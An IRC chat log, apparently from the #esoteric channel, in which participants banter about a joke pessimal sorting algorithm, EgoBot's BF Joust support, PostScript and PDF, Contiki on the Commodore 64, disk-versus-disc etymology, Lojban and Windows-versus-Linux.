:P 13:08:24 and the dead64 webpage 13:08:29 -!- asiekierka has quit. 13:18:36 -!- MigoMipo_ has quit (Read error: 110 (Connection timed out)). 13:35:07 -!- ais523_ has joined. 13:53:56 -!- puzzlet has quit (Remote closed the connection). 13:54:12 -!- puzzlet has joined. 13:54:30 -!- ais523 has quit (Read error: 110 (Connection timed out)). 14:08:09 -!- oklopol has joined. 14:08:33 so i saw evilsort and decided to have some fun http://www.vjn.fi/pb/p114666125.txt 14:09:01 (not evilsort, my own verysort thingie, in case you don't read python or don't, for some reason, know evilsort) 14:09:57 it's competitive sorting, i just started writing code and that happened 14:10:08 seems to be pretty fast 14:10:27 i mean for a pessimal algo, which of course is a bad thing. 14:10:44 i mean it can easily sort lists of seven elements 14:10:48 -!- Gracenotes has quit (Remote closed the connection). 14:11:28 OH MY GOD I'M A GENIUS, wait a mo i know just what to do to fix that... 14:17:57 -!- okloduk has joined. 14:23:55 what is evilsort? 14:24:27 When you sort a list by asking Satan 14:25:22 wow, that's quite a sorting algorithm 14:25:40 is it O(n!), or worse? 14:25:55 It is O(0), but it will cost you YOUR SOUL 14:26:01 Or the program's soul. 14:26:03 I'm not sure 14:26:04 I was refering to verysort 14:26:06 -!- WangZeDong has changed nick to Slereah. 14:29:18 -!- oklofok has joined. 14:30:35 so umm 14:30:40 i fixed it 14:30:51 but i'm not sure it works, because i can only test up to lists of length 3. 14:31:21 http://www.vjn.fi/pb/p214351221.txt <<< sorry, even more okloisms here 14:31:58 but basically what it does is pick a list at random 14:32:03 and order the rest randomly 14:32:13 and then take an element from each list 14:32:37 and if the chosen list has that element, and the one to the right of it in the correct order, and all the others don't, then it gets a point. 14:33:01 best has the list with the best score, it's returned if it's sorted 14:33:22 what i wanted to add to evilsort was nondeterminism and not using polynomial space 14:34:42 i guess i also added much more pessimality, but i guess this one looks somewhat pessimal already, that is, kinda hard to justify making sure it beats everyone else before giving it a point, which is a bad thing. 14:35:18 but i guess you could call it a tournament to the death, but with the dead guys getting another chance as opponents. 14:37:55 btw it's actually somewhat nontrivial that there even always is a terminating shuffling, if the elements aren't all equal 14:37:57 oklofok, sorting by genetic algorithm? 14:38:01 or what do you mean 14:38:05 AnMaster: you could call it that 14:38:31 -!- oklopol has quit (Read error: 110 (Connection timed out)). 14:38:39 hm 14:38:51 but genetic algos don't usually have explicit "fights" 14:38:55 true 14:39:01 -!- okloduk has quit (Read error: 110 (Connection timed out)). 14:39:20 well, incrediblysort has more like a deathmatch than a fight, as i guess i explained already 14:39:30 bbl 14:39:36 byes 14:40:35 btw not only doesn't a list of four elements get sorted in a reasonable time, it's not very likely that anyone will even get any points in a quadrillion years :D 14:41:00 the probability of getting a point is 1/2^(n!) 14:41:50 assuming elements not equal, if they can be equal, it's probably much easier 14:42:48 yep, it runs in an instant :<<<<<< 14:43:11 i should add like an epsilon, "to make it stable" :P 14:43:11 well, you probably have no idea what i'm talking about 14:43:24 pizza and family guy, as halfway mentioned -> 14:44:12 that is, epsilon is a bad term, more like.......... umm..... random skew 14:44:44 except not random or it wouldn't be stable 14:44:44 it's just i can't find another justification for it 14:57:50 -!- ais523_ has quit (Read error: 104 (Connection reset by peer)). 15:08:06 -!- nooga has joined. 15:08:20 -!- puzzlet has quit (Remote closed the connection). 15:08:24 -!- puzzlet has joined. 15:08:43 anyone wrote something using GTK2? 15:13:44 -!- oklodok has joined. 15:29:39 -!- oklodok has quit (Read error: 60 (Operation timed out)). 15:30:23 ... 15:36:23 -!- oklofok has quit (Read error: 110 (Connection timed out)). 15:47:47 back 16:07:35 nooga: In the distant past. 16:12:08 10:31 ais523: there we have it, a less-than with no arguments 16:12:08 10:31 ais523: to be precise, a reducing less-than 16:12:24 #;1> (<) 16:12:25 #t 16:12:26 #;2> (>) 16:12:28 #t 16:12:30 r5rs 16:12:32 05:04 pikhq: Oh, and also subversion of the free market. 16:12:34 05:04 pikhq: (as we are wont to do here) 16:12:36 the free market sucks 16:12:48 And now, back to assembling this hypothetical server for the VPSness. 16:13:59 (in case anyone wasn't here yesterday: I've semi-come up with a semi-novel way to do VPSes fast and easily and now I'm toying with the idea of getting a dedi to sell them.) 16:15:09 GregorR: what does moxie taste of 16:15:31 ehird: It's not comparable to any other soda, really. 16:15:42 GregorR: compare it to something that isn't a soda then 16:16:01 "For those without access to Moxie, the flavor can be approximated (and adjusted to taste) by adding Angostura bitters to root beer, or by mixing Campari with Coca-Cola, or by mixing a shot of Jägermeister in a glass of Coca-cola (6-8 oz.)." 16:16:06 Uh. But of course! 16:16:28 Yeah, Idonno, can't help ya :P 16:16:40 GregorR: Just give me some :-P 16:17:24 ehird: If you were in W. Lafayette, and I had some right now, I might :P 16:20:47 GregorR: This online store is offering me six cans for $7.99 plus a probably inordinately huge amount of shipping to the UK, and I'm trying to decide whether my curiosity extends that far. 16:21:16 That would probably be some ultra-expensive shipping. 16:21:32 It's really good, I'd recommend that everyone try it, but it's not necessarily worth the price. 16:21:35 "To obtain an accurate shipping amount, enter shipping postal code (US only) " 16:21:37 GregorR: $infinity 16:21:46 lol 16:21:52 Unless that means they just can't estimate it for non-US 16:24:29 -!- ais523 has joined. 16:25:04 ais523: Whar's the bf joust bundle for EgoBot? :P 16:25:05 05:04 pikhq: Oh, and also subversion of the free market. <-- is the repo public? 16:25:22 That was so unfunny it took me seconds to get it. 16:25:40 svn co https://svn.free-market.co.su/trunk 16:25:51 GregorR, .su? Sudan? 16:25:55 AnMaster: soviet union 16:25:55 GregorR: well, put it this way 16:25:57 aha 16:26:00 But they don't exactly have a free market! 16:26:02 I last woke up at 5pm yesterday 16:26:05 Er, didn't. 16:26:12 and went to University at 6am today because I couldn't sleep 16:26:21 ais523: try Uberman's. It can't be as fucked up as your current schedule 16:26:22 now I'm back closer to home, so I've been up for almost 24 hours 16:26:27 and didn't sleep properly before then 16:26:29 ( http://www.kuro5hin.org/story/2002/4/15/103358/720 ) 16:26:33 ais523: And you used all that extra time to write a bf joust interp for EgoBot, right? ;) 16:26:49 no, I used most of it wondering why time had apparently broken down into discrete steps 16:26:55 I suspect I'm so tired I'm hallucinating 16:27:01 uh uh 16:27:07 either that, or I'm just seeing the fundamental cellular automaton behind the universe 16:27:18 ais523: just make sure things don't turn into 2D 16:27:19 ais523, in what way did you notice it 16:27:23 or you might start moving diagonally 16:27:30 AnMaster: as in, it was like the universe's frame-rate was rather low for some reason 16:27:31 AnMaster: you can't describe that kind of stuff... 16:27:45 ais523, heh 16:27:47 you know, too low to give a decent illusion of reality 16:27:53 right 16:28:00 ais523, sure you weren't dreaming? 16:28:08 -!- oerjan has joined. 16:28:08 and no, I've spent most of the time reading the Perl6 docs, I think they make more sense when sleep-deprived 16:28:20 AnMaster: I was technically awake, but probably not awake enough to do anything in practice 16:28:21 ais523, aha, That is the cause clearly. 16:28:42 GregorR: I have a BF Joust interp that pits two programs against each other, and returns the result to stdout and to exit status 16:28:48 what else would it need? 16:29:00 oerjan, IWC was slightly amusing today. 16:29:04 I was rather hoping the existing FYB scripts would fit to BF Joust well 16:29:07 ais523: could you think inbetween the discrete steps? if not, that's some feat to notice it :P 16:29:12 ais523: Just an adaptation of FYB's report.c 16:29:17 ais523: And scmds/fyb 16:29:35 link to EgoBot source? 16:29:40 !info 16:29:41 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 16:29:43 there 16:30:15 * ais523 installs Mercurial 16:30:36 I may as well have all three of the leading DVCSes, plus the one I actually use 16:30:43 -!- coppro has joined. 16:31:05 (The scmds/fyb script is sort of stupid because it was written before fyb exited with a useful status code, so I had to parse the human-readable output :P ) 16:31:10 AnMaster: slight *groan* 16:31:23 oerjan, agreed 16:31:46 GregorR, fyb? 16:31:56 http://codu.org/eso/fyb/README 16:31:58 fuck yor brane. 16:32:01 aha that language 16:32:02 hm 16:32:02 right 16:32:03 fuk 16:32:53 argh, Ubuntu, stop telling me at is broken, it's been broken for two versions now and I've reported the bug and there are lots of helpful comments indicating what's causing it and it should be a one-line fix and you still haven't fixed it 16:33:01 oerjan, the last sqrt(-garfield) (from yesterday iirc?) was rather *groan* too IMO 16:33:43 well... 16:33:58 ais523: why are you using ubuntu again? :P 16:34:17 it's the OS that the computer came with 16:34:55 "This comic has been produced by applying the identity function simultaneously to every pixel of the comic of 2002-09-05. " 16:34:56 :-D 16:35:02 ais523: is installing an OS hard? 16:35:17 very meta 16:35:23 yes if you don't have enough backup media you trust to hand to back up all your files first 16:35:34 besides, in theory this thing might still be in warranty 16:35:44 ais523: oh, you don't have a /home partition? 16:35:49 ;-) 16:35:54 also, installing an OS breaks the warranty? 16:35:56 what kind of shitty warranty is that 16:36:14 it's standard excuse for more or less every major PC manufacturer ever 16:36:14 and mezzacotta today advocates killing children, i see 16:36:38 actually, I have no idea what would happen if you tried wiping Mac OS X on a Mac, installing Windows/Linux as the only OS, and then asking them to fix a hardware problem 16:36:39 ais523: so you buy a computer whose warranty involves not using it 16:36:42 it's just like DRM! 16:36:53 well, I don't plan to use the warranty 16:37:02 half the hardware's malfunctioning prettily as it is 16:37:04 also, I think as long as you didn't imply it was anything to do with windows they'd help 16:37:06 the touchpad hasn't worked for years 16:37:07 Boot Camp is supported 16:37:10 although I'm not sure removing OS X is 16:37:20 well 16:37:23 you can boot into an OS X install CD 16:37:27 and remove your OS X partition 16:37:33 so for a tenuous definition of supported it is 16:37:45 boot camp doesn't actually do anything but partition, heh 16:38:10 really, "boot camp" is just the EFI's bios emulation 16:40:42 ais523, ehird: They'd "fix" it, but when it came back it'd only have OS X installed :P 16:41:01 GregorR: I find that unlikely. 16:41:22 At least, if you had Windows AND OS X they'd stay since that's officially supported, and I don't recall seeing removing OS X be classed as unsupported 16:42:14 ehird, Is putting the computer in lava explicitly classed as unsupported? 16:42:30 that's totally irrelevant 16:42:34 ehird, just wondering 16:43:01 I imagine that destroying the computer is classed as unsupported, though. 16:43:12 right, that covers a lot of different cases. 16:43:38 AnMaster: Lawyers wrote it. They have thought of everything ;-) 16:43:47 yeah :/ 16:44:39 You know... 16:44:41 http://xkcd.com/373/ 16:44:57 kerlo: how's that relevant to anything 16:45:01 That comic is just as true if you replace "Claims of Supernatural Powers" with "Theories of Physics". 16:45:30 kerlo: it's called casual conversation, s/confirmed/seems to work in practice for blah blah balh/ 16:45:45 -!- Judofyr has joined. 16:47:25 * AnMaster wonders how hard it would be to make a web browser using XeTeX as rendering backend. 16:47:45 Hard. Also impractical. 16:47:56 Maybe WebKit or Gecko let you pug in a backend. That'd be hard though so I doubt it. 16:47:58 you mean: only static pages? 16:48:02 We're all about practicality here in #esoteric 16:48:04 .......... no? 16:48:14 It's just that TeX isn't anything like HTML+CSS. 16:48:21 +JS 16:48:31 +VBScript :P 16:48:36 pages using JS would be hard 16:48:36 Oh gawd. 16:48:44 AnMaster: you'd just re-render it every time 16:48:49 yeah. 16:48:51 that's basically what browsers do, 'cept incrementally. 16:48:59 what about forms? 16:49:01 GregorR: I wrote some VBScript-using pages when I was young and idiotic. 16:49:04 Despite not knowing VBScript or JS. 16:49:12 AnMaster: Tough shit. It's just not suited. 16:49:12 ehird: Be ashamed. 16:49:22 ehird, pdf forms duh! 16:49:23 I tried writing in VBScript, but then gave up and went back to batch files 16:49:30 AnMaster: That's not TeX. 16:49:48 the only VBScript program I ever got working could be translated into bash as echo $(($1)) 16:49:49 ehird, can't you do it using some package for LaTeX? 16:49:50 hm 16:49:55 actually, the bash script is probably more featureful 16:50:40 I wouldn't be surprised if something similar to hyperref (for pdf TOC and links in pdf) existed for pdf forms too 16:50:54 just use JI! 16:50:58 JI? 16:51:04 WinHelp command 16:51:13 ais523, what has that got to do with TeX? 16:51:16 it's useful by WinHelp standards, but not by regular programming standards 16:51:21 and 16:51:22 and because you can use it to implement links 16:51:25 what does it do in WinHelp 16:51:43 oh, links? Is that what it does. OK 16:52:18 it's basically a goto, but you need to specify the filename of the file to jump to 16:52:24 even if it happens to be the one you're in at the time 16:56:20 AnMaster: PDF is extremely powerful, actually. 16:56:29 It's basically a superset of Postscript... 16:56:35 Which is Turing-complete. 16:56:35 ;) 16:57:05 pikhq, iirc pdf is a subset, not a superset? 16:57:09 Superset. 16:57:15 mhm 16:57:17 Preview.app translates .ps files to PDF before rendering. 16:57:24 Although maybe PDF doesn't have the code bits. 16:57:27 And it just renders it. 16:57:28 Dunno. 16:57:49 PDF contains Postscript compiled to bytecode, some headers, and sometimes some other file sections. 16:58:02 (in essence) 16:58:05 Wait, isn't it proprietary? 16:58:09 Surely they couldn't use PS. 16:58:16 from what I remember: pdf was originally a subset, but later on they added more features to pdf, so they are actually two intersecting formats, each having a few bits the other doesn't. 16:58:19 No... 16:58:26 Postscript is a standard designed by Adobe. 16:58:30 but yes I might have been wrong 16:58:33 yes,* 16:58:34 PDF is also a standard designed by Adobe. 16:59:10 translating postscript to pdf is like running ick -F 16:59:15 ... Adobe made Postscript? 16:59:19 I actually didn't know. 16:59:19 Yes. 16:59:28 ehird, odd you didn't know 16:59:30 ... wait, yes I knew that. 16:59:38 But on the other hand I didn't know it as a sort of relation, just as a standalone fact. 16:59:44 Thus confusion. 16:59:46 Hey. 16:59:48 You're wrong 16:59:54 hm wait 16:59:58 nope 17:00:00 you're right :-P 17:00:03 AnMaster, you're right. PDF and PS have a common subset. 17:00:06 XD 17:00:16 pikhq, but both have features the other doesn't. Right 17:00:22 is pdf tc too? 17:00:23 Heh, an Apple printer was the first PS printer 17:00:28 AnMaster: I don't think so 17:00:32 aha 17:00:34 Still Turing-complete. 17:00:40 AnMaster: That's what a common subset means. 17:00:51 I thought PDF was rather light on control structures 17:00:57 The use of PostScript did not come cheap. At an introductory price of US$6,995, the LaserWriter was more expensive than PC laser printers of comparable print speed and quality. The LaserWriter's high cost was largely due to the extra processing power needed to run the PostScript interpreter. As it was a complete programming language, PostScript came saddled with the overhead of a complex software rasterizer program (running inside the printer). Powering 17:00:59 ais523, "me too" 17:00:59 the LaserWriter was a Motorola 68000 CPU running at 12 MHz, 512KB of workspace RAM, and a 1 MB framebuffer. At introduction, the LaserWriter had the most processing power in Apple's product line — more than an 8 MHz Macintosh. 17:01:04 Just use a LaserWriter to do your computing! 17:01:07 Erm, wait... 17:01:07 It's extra-powerful ;-) 17:01:14 the conditionals are removed from PDF. 17:01:21 *Why* are the conditionals removed from PDF?!? 17:01:21 Damn the old macs were slow. 17:02:20 ehird, that's still faster than the C64 afaik 17:02:24 Duh. 17:02:29 The C64 is ancient. 17:02:33 AnMaster: but the c64 didn't have a nice GUI. 17:02:34 true 17:02:40 The C64 wasn't used for desktop publishing. 17:02:41 just trying to add a perspective to this 17:02:55 8mhz is slow however you slice it :P 17:03:08 by the standards back then Macs were not that slow. 17:03:20 I know this. 17:03:29 AnMaster: also, the NTSC c64 was 1.02MHz 17:03:33 admittedly a different architechture 17:03:37 but that's not massively slower 17:03:43 ehird, and 8 mhz is faster than many embedded microcontrollers. 17:03:46 even today 17:03:51 Yes, but they're not desktop computers. 17:03:58 They're embedded microcontrollers. 17:03:59 that's true. 17:04:20 I couldn't write a non-trivial program that ran under the constraints of the original Macintosh, probably 17:04:34 ehird, in 20 years or so people will look at intel nehlam (spelling?) the same way. 17:04:40 *nehalem 17:04:43 And true enough. 17:04:47 I could. 17:04:48 AnMaster: closer than 20 years 17:04:50 moore's law 17:04:55 meh 17:05:29 * pikhq is freaking crazy, and knows of some scary, scary ways to do multitasking on systems with low memory. 17:05:46 I've done multitasking on a microcontroller without an OS before 17:05:57 ... Not as crazy as the guy who made a multitasking GUI on the C64, mind. 17:06:01 ais523, what microcontroller? 17:06:01 by hooking all the tasks but one into signal handlers 17:06:07 AnMaster: dsPIC 17:06:39 ... Or the UNIX for C64, for that matter. 17:07:20 ais523, what does the ds mean 17:07:32 pikhq, there is unix on c64!? 17:07:36 AnMaster: as in DSP 17:07:48 aha 17:07:59 ais523, that is a rather high end PIC right 17:08:01 also, someone's likely to have ported ucLinux or something to the C64 by now 17:08:05 probably just to claim they could 17:08:12 AnMaster: higher enough it's technically something different 17:08:16 it's 16-bit, for one thing 17:08:43 luxury! 17:08:51 http://hld.c64.org/poldi/lunix/lunix.html 17:08:52 Lunix! 17:08:52 AnMaster: Lunix. 17:08:54 For the c64. 17:08:56 pikhq: snap 17:08:58 Written in assembly. 17:09:02 ehird: :) 17:09:03 This just makes "Lunix" to mean "Linux" even funnier. 17:09:19 yes 17:09:49 Contiki, though, is just freaking crazy. 17:10:12 anyone got a link to Contiki. I remember reading about it some years ago 17:10:27 http://upload.wikimedia.org/wikipedia/en/5/5c/Contiki-C64.png 17:10:33 Wikipedia. 17:10:39 official website? 17:10:47 http://www.sics.se/contiki/ 17:10:57 .se! 17:11:46 why do people keep linking to the images themselves on Wikipedia, not the image description page/ 17:11:47 I assume it needs some form of changed hardware to support network? 17:11:55 ais523: because we don't like the UIcruft. 17:11:58 it's like people are going out of their way to violate the attribution requirements of the image 17:12:00 ais523, because that loads more slowly? 17:12:11 ais523, and often it is scaled down 17:12:14 almost all of the time the cruft around the image is worthless 17:12:17 and yeah, scaled down 17:12:18 so you HAVE to click the image to see what it means 17:12:27 and feel free to sue me for not attributing 17:12:28 and see the details 17:12:42 ehird: I can't, it has to be the image's copyright holder who does that 17:12:50 ais523: I'll wait here. 17:13:49 ais523, there should be a stripped down format then. Just a minimal html page with no css, first a link to the image description page, then the image below in full size 17:13:57 and everyone would be happy 17:14:14 I wouldn't be, it's still cruft :-P 17:14:21 For example, you can't do 17:14:23 ehird, much *less* cruft though 17:14:23 imageviewer url 17:14:29 When it's an image we're linking to 17:14:30 agreed 17:14:43 ah, it's no good, I'm going home 17:14:46 it should have same file name with .html instead of .png/.jpg/.svg/.whatever 17:14:49 I'm too tired to think straight at all 17:14:50 ais523, what is no good? 17:14:53 ais523, ok cya 17:14:56 -!- ais523 has quit (Remote closed the connection). 17:15:04 ehird, then you could just have http://upload.wikimedia.org/wikipedia/en/5/5c/Contiki-C64.html 17:15:15 and it would be easy to change 17:15:17 wait 17:15:19 AnMaster: yes, but think of the plan 9 users 17:15:21 they can't do 17:15:22 make that .png.html 17:15:26 ehird, why not 17:15:26 hget url | plumb 17:15:31 (I think that's the right invocation) 17:15:32 hm 17:15:44 AnMaster: more convincing: 17:15:51 they can't right/middle click the link in IRC (I forget whic) 17:15:52 h 17:15:52 ehird, surely there is some text replace to strip .html off http://upload.wikimedia.org/wikipedia/en/5/5c/Contiki-C64.png.html 17:15:55 and get their image viewer up 17:16:00 ah 17:16:04 fair enough 17:16:17 but it would open in their browser instead 17:16:22 would that be so bad 17:16:32 Surely they have sed. 17:16:32 AnMaster: if they have one. plan 9 browsers suck. And yes, one tool for one job. 17:16:40 pikhq: 17:15 ehird: they can't right/middle click the link in IRC (I forget whic) 17:16:44 pikhq: lern2read 17:16:53 They can type! 17:17:01 ehird, ok then, add a watermark to the picture. That is what is left then 17:17:05 and that is horrible 17:17:11 pikhq: so we waste people's time for no gain 17:17:12 awesome 17:17:15 AnMaster: or just continue doing what we do 17:17:22 ehird, you could script the client to automatically do that for you for wikipedia links 17:17:23 * pikhq vejnas 17:17:25 ehird, true we could 17:17:37 * ehird jkdsfha 17:19:24 s|http://upload\.wikimedia\.org/(.+)\.([^.]+)\.html|http://upload\.wikimedia\.org/\1.\2| 17:19:27 or something 17:21:13 hm contiki is ported to other platforms than C64 is it? 17:21:55 Who knows. 17:22:11 http://www.sics.se/contiki/ doesn't mention C64 anywhere I can see 17:22:11 It's a very technobabbly page. 17:22:33 The Contiki Operating System - Home 17:22:33 Highly portable, multitasking OS for low memory networked embedded systems; typical install is 2K RAM, 40K ROM; event-driven kernel, programs load and ... 17:22:35 from googl 17:22:37 e 17:22:47 AnMaster: http://www.sics.se/contiki/perspective/run-the-commodore-64-version-of-contiki-anno-2004-in-your-browser.html 17:22:49 Today Contiki is mostly known as an operating system for networked embedded systems. A few years ago, however, Contiki's primary claim to fame was its Commodore 64 port. With the help of JAC64, a Java-based C64 emulator developed by my colleague and fellow Contiki developer Joakim Eriksson, you can now experience the C64 port of Contiki 1.2-devel1 again, directly in your web browser! Click here to enjoy it - unfortunately without networking support at pr 17:22:50 ehird, I checked about, and so on and it only talks about embedded chipsets and such 17:22:52 esent. 17:23:00 well hidden 17:23:02 Contiki is on a *lot* of platforms. 17:24:06 ;] 17:46:09 a 17:56:31 -!- oerjan has quit ("leaving"). 17:58:05 -!- puzzlet_ has joined. 17:58:22 -!- nooga has quit (Read error: 104 (Connection reset by peer)). 17:58:51 -!- puzzlet has quit (Remote closed the connection). 17:59:24 AnMaster: Hey. AMD have their own version of ICC-like stuff 17:59:28 http://developer.amd.com/CPU/OPEN64/Pages/default.aspx 17:59:33 mhm 17:59:49 Try cfunge with it :P 18:00:59 I will look at the url later. Atm I wouldn't want to browse anything, system is heavily loaded, generating a graph of the space usage under /home 18:02:06 AnMaster: Er... how big is your /home? 18:02:14 ehird, over 30 GB, why? 18:02:32 So's mine but it takes less than one minute to list all the files and usages of them 18:02:44 ehird, loading firefox at the same time as the disk is working so heavily would be insane. 18:03:00 w3m :-) 18:03:21 ehird, your computer is newer to begin with. 18:03:42 AnMaster: it's a disk-bound operation 18:03:45 I guess your disk might be slow 18:03:54 ehird, it's SATA, not SATA 2 18:04:12 * ehird refers to floppies and HDs as disks but optical media as discs; I wonder why? 18:04:18 and I have mostly lots of small files. Lots of directories 18:04:22 It just feels right. "Disk is cheap", "Disc is cheap" 18:04:31 "I'm ripping this disk", "I'm ripping this disc" 18:04:39 "I got it off this floppy disk", "I got it off this floppy disc" 18:06:06 trivia: sv:diskmaskin means en:dishwasher 18:06:50 I got it off this floppy dish 18:08:27 The distinction I heard once and nowadays make myself: a disk is computer storage, a disc is a round thing. 18:08:44 kerlo: HDs use discs. 18:08:55 also, it's "Compact Disc" 18:08:57 A frisbee is a flying disc. A flash card is a disk. A CD or a hard drive platter is both a disc and a disk. 18:09:17 sv:disk means en:dish as in dish washing, but not in the other meanings of dish 18:09:19 I seem to use disk as a plural: 18:09:23 Disk is cheap 18:09:39 If you're using "is", it's not a plural. 18:10:32 en:dishware is sv:servis, but a dirty set of dishware, may very well be sv:disk 18:10:46 actually I can't think of any exact corresponding word in English 18:11:52 Wiktionary essentially says "floppy disk, hard disk, compact disc: optical media are discs, other media are disks." 18:12:12 That's what I use 18:12:20 18:09 kerlo: If you're using "is", it's not a plural. 18:12:21 did both disk and disc existed in English before computers? 18:12:24 but it's referring to multiple disks 18:12:27 the words I mean 18:12:33 AnMaster: Disc existed. Disk did not, 18:12:36 s/,$/./ 18:12:36 ah 18:12:48 so what is the origin of disk then 18:12:56 Neologism, probably. 18:12:59 Or, to use an actual quote: "If the medium is optical, the variant disc is usually preferred . . . if referring to a physical drive or older media (3" or 5.25" diskettes) the k is used, but c is used for newer (optical based) media." 18:13:00 Technically, it's a floppy diskette, BTW. :p 18:13:12 why not discette 18:13:22 "Disk" is from Greek, "disc" is from Latin. 18:13:27 AnMaster: I don't think "cette" ever works. 18:13:30 -!- Sgeo has joined. 18:13:31 I think that forces it to be a k. 18:13:32 "discette" looks slightly French... 18:13:34 "Discette" would be pronounced wrong. 18:13:35 So probably disk came from diskette. 18:13:41 Where diskette comes from disc-ette. 18:13:42 Like "dissette". 18:13:50 heh 18:14:14 In Spanish, "disc" + "ette" would be "disquette". But "ette" isn't a Spanish suffix. 18:14:41 "disc" + "ito" would probably be "disquito", though, and it would mean "little disc". 18:15:36 " "Discette" would be pronounced wrong." <-- why then are there quite a few words in English that aren't pronounced as they are spelled. Since those exists, why would another such word hurt. 18:15:42 If the Spanish word for "disc" were "disc". It's actually "disco". The diminutive would still be "disquito", or possibly "disquecito" or possibly-possibly "discocito". 18:16:16 AnMaster: it's quite rare in English for a "c" to be pronounced the wrong way. 18:16:39 that is true, but weird spellings aren't unusual 18:16:45 "guitar" comes to mind for example. 18:17:08 But that's not a "c" that's being pronounced the wrong way. I think it's a copying of Spanish. 18:17:08 the "gui" in guitar is distinctly spanish feeling 18:17:20 ehird, yes it is probably an imported word 18:17:31 The Spanish pronunciation of "guitar" would be essentially the same. 18:17:51 ehird, when said in English it sounds more like "gitar" iirc? 18:18:01 AnMaster: Sort of. 18:18:12 it is "gitarr" in Swedish btw. 18:19:40 "gitar", stressed on the second syllable, with a hard g and a short i. 18:19:49 "Disc" comes from the Latin "discus". Disk also. 18:19:50 ;) 18:20:35 According to Wiktionary, "disc" comes from "disque" which comes from "discus" which comes from "diskos", and "disk" comes directly from "diskos". 18:21:00 Hmm. 18:21:03 * pikhq shakes a fist at English 18:21:50 Instead of speaking English, we should just speak an anglicised amalgamation of Old French, Latin, and Ancient Greek. 18:22:25 So, you mean English. 18:23:06 English contains things that are not from any of those. 18:23:11 mi.e ,Eli'at.xrd. 18:23:22 I only remember that Lojban now. 18:23:42 I'm pretty sure "wife" is quite Germanic, for one. 18:23:48 (though the French influences in English are from Anglo-Norman, not Old French) 18:24:00 Wiktionary says that everything is from Old French. 18:24:02 I wish Lojban had some sounds more suited to my name. 18:24:08 Eli'at.xrd is not very Elliott Hird at all. 18:24:18 It's more a-y than o-y, and my first name does not start with Bach's ch. 18:24:28 er 18:24:29 last name 18:24:50 Anglo-Norman, of course, being itself an amalgamation of Old French and some Germanic language... 18:25:13 (granted, the main Germanic influences on Norman are in its grammer) 18:25:55 grammer 18:26:13 XD 18:26:21 ehird: you're spelling it kind of weirdly. 18:26:32 I manage to misspell that word, and only that word, often. 18:26:33 mi'e .eli,at.xrd. 18:26:34 kerlo: It's what #lojban agreed on. 18:26:40 kerlo: Oh. Right. 18:26:42 Sorry. 18:26:46 That's just a typographical oddity. 18:26:55 I've forgotten Lojban, you see. 18:27:14 It seems "Elliott" would be .eli,yt., though. 18:27:15 I used "mi'e .Eli,at. xrd.", says google. 18:27:39 Unless you actually pronounce it with a short o. 18:27:50 So that it kind of rhymes with "polyglot". 18:28:36 It's time for a recording. 18:28:45 Cool. 18:28:48 * pikhq wants a Lojban programming language 18:29:19 pikhq: Been there, tried that 18:29:26 , failed. 18:29:31 It's still natural language. 18:29:33 You can write Unlambda in Lojban. 18:29:38 It just has an unambiguous grammar. 18:29:41 Seems like the grammar would be easy... 18:29:49 Getting sane semantics might be tricky. 18:29:56 ehird, it's a constructed language. 18:30:03 Yes. 18:30:03 I know. 18:30:09 Not a natural language. ;) 18:30:12 But it's constructed by humans, and to be a language for humans. 18:30:18 Right. 18:30:18 It's not a programming language or a formal language. 18:30:20 It's a natural language. 18:30:27 kerlo: http://filebin.ca/oceeca/eliatxrd.ogg 18:30:33 Released under the Share and Enjoy! license. 18:30:35 A natural language is the opposite of a constructed language. 18:30:39 The Share and Enjoy! License 18:30:41 1. Share and Enjoy! 18:31:01 ehird, are you saying that I should stick my head in a pig? 18:31:02 ``sk`sk = lo me sy be lo my ky bei lo me sy be lo ky 18:31:20 I think. 18:31:23 kerlo: that's using lojban's predicate stuff, right? 18:31:36 so if you say ```sii``sii, you'll crash the brains of Lojban speakers? 18:31:46 pikhq: I missed the joke. 18:31:58 It's impossible to say anything of worth in just about any language without using predicate stuff. 18:32:04 oh, wait 18:32:05 ehird: No, I'm doing a different one. 18:32:08 a related line from h2g2? 18:32:13 Yes. 18:32:29 Specific quotes from that book have a tendency to roll off me shortly after reading the whole thing. 18:32:32 * pikhq has that song stuck in his head now, dammit. 18:32:34 kerlo: So, what did I say in that ogg? 18:32:35 English has the same predicate stuff. That Lojban is pretty much precisely the same as the English "the S of the K of the S of the K", except with little words specifying associativity. 18:32:44 ehird: I haven't listened to ityet. 18:32:47 ...it yet. 18:32:49 ah 18:33:10 This is where you scold me for using Windows. 18:33:39 kerlo, stop using a shitty operating system. 18:34:44 Would you like me to attempt to justify my use of Windows to you? 18:34:55 kerlo: Yes, so I may laugh at you. 18:35:00 Okay. 18:35:27 As far as I remember, this is a complete list of things I've been unable to do under Windows: 1. Run Freenet reliably. 2. Play an OGG file. 18:36:35 kerlo: That's not a good argument. You need to argue why you won't use Linux, a technically superior operating system, not why you keep using Windows. 18:37:00 Or, y'know, OS X. 18:37:03 * pikhq notes that you also probably can't reliably play FLAC files 18:37:06 Or any other operating system on the planet apart from DOS. 18:37:06 ...well, things I've been unable to do under Windows that I would expect to be able to do under Linux. 18:37:37 Sound doesn't work well under Linux. YouTube videos don't play acceptably. 18:37:42 ehird: I dunno, DOS seems at least better-designed. 18:37:46 kerlo: Which Linux are we talking about here? 18:37:50 Ubuntu. 18:37:54 Here's how you get YouTube videos working on Ubuntu: 18:38:01 Accessories → Install/Remove. 18:38:02 kerlo: Sound works quite well under Linux, and I find YouTube works much nicer in Linux. 18:38:03 Search "Flash". 18:38:04 Tick Adobe flash. 18:38:05 youtube-dl and all that. 18:38:06 Click apply. 18:38:09 Refresh page. 18:38:13 That Was Hard(TM). 18:38:37 * pikhq doesn't use the Flash player for YouTube, but that's just because mplayer is much better at playing videos 18:39:01 YouTube videos actually play better without Flash? 18:39:28 kerlo: anyway, so, there's a refutation of the YouTube argument. If you're using a recent Linux (say with PulseAudio), there should be no sound problems either. 18:39:29 kerlo, what he suggests there is to *install* Flash. 18:39:31 Any other arguments? 18:39:44 Ubuntu by default ships with a crappy partial implementation of Flash. 18:39:51 No it doesn't, pikhq. 18:39:55 It doesn't do any such thing. 18:40:01 It ships without any flash plugin whatsoever. 18:40:05 Hmm. 18:40:10 I'm not used to operating systems under which "Add/Remove Programs" is capable of adding programs. 18:40:10 Must be thinking of Mandriva, then. 18:40:25 kerlo: OK, so your new argument is "It's easier, I don't like that." :P 18:40:32 That's the normal way of installing stuff on Linux. 18:40:33 ;) 18:40:42 That wasn't a new argument, that was jsut a comment. 18:40:48 I know. 18:40:51 I was Joe, King. 